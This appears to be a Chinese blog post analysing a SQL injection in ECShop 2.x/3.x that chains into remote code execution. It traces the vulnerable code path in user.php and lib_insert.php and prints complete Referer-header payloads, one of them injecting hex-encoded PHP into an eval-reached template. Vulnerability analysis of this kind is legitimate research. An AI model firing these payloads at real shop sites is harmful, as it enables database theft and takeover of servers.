Fork me on GitHub

ecshop2.7.3漏洞分析

存在漏洞版本

1
2
Ecshop 2.x
Ecshop 3.x-3.6.0

sql注入

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

代码执行

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

漏洞成因

user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

sql注入漏洞分析
  • 漏洞起源点在user.php中,可以看到HTTP_REFERER是可控的
  • 跟进assign()assign()$back_act赋值给模版变量 back_act。也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display()
  • 跟进display(),其中传进去的user_passport.dwt有一段为

  • 首先会调用$this->fetch 来处理 user_passport.dwt 模板文件,fetch()中用 $this->make_compiled来编译模板,make_compiled会将模板中的变量解析,将上面assign的变量 $back_act传递进去了,解析完变量之后返回到display()中。此时$out是解析变量后的html内容,然后判断 $this->_echash 是否在 $out中,如果存在的话,使用 $this->_echash来分割内容,得到$k然后交给insert_mod处理,其中_echash 的值为
  • _echash是默认值,所以$val内容可随意控制。跟进$this->insert_mod
  • $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用fun(para),函数名部分可控,参数完全可控。在 /includes/lib_insert.php 有一个 insert_ads() ,其中$arr 是可控的,并且 $arr['id']$arr['num']会拼接到SQL语句中
  • 那么就可以构造出如下的payload
    1
    echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))


1
2
3
4
5
6
7
8
echash:554fcae493e564ee0dc75bdf2ebf94ca
fun:ads
反序列化数据:
Array
(
[num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
[id] => 1
)

代码执行漏洞分析
  • 继续查看insert_ads(),在SQL查询结束之后会调用fetch(),在此处传入的参数是$position_style
  • $position_style的值是$row['position_style'],SQL查询的结果可控,也就是$position_style可控。但是需要$row['position_id']=$arr['id'],查询结果可控,arr['id']同样可控
  • 其中$position_style传入的时候会与str:进行拼接,进入fetch(),这个地方调用危险函数$this->_eval
  • 跟进fetch_str()

    preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);,这个正则表达式是匹配{}中的内容。

  • 跟进select(),当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内。

  • 跟进get_var()
  • 当传入的变量没有.$时,调用$this->make_var,跟进make_var
  • 结合select()里面的语句来看,$this->_var[\'' . $val . '\'],要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select()进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select(),需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//}
  • 然后把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

参考文献:https://www.cnblogs.com/bmjoker/p/9953451.html
https://paper.seebug.org/695

-------------本文结束感谢您的阅读-------------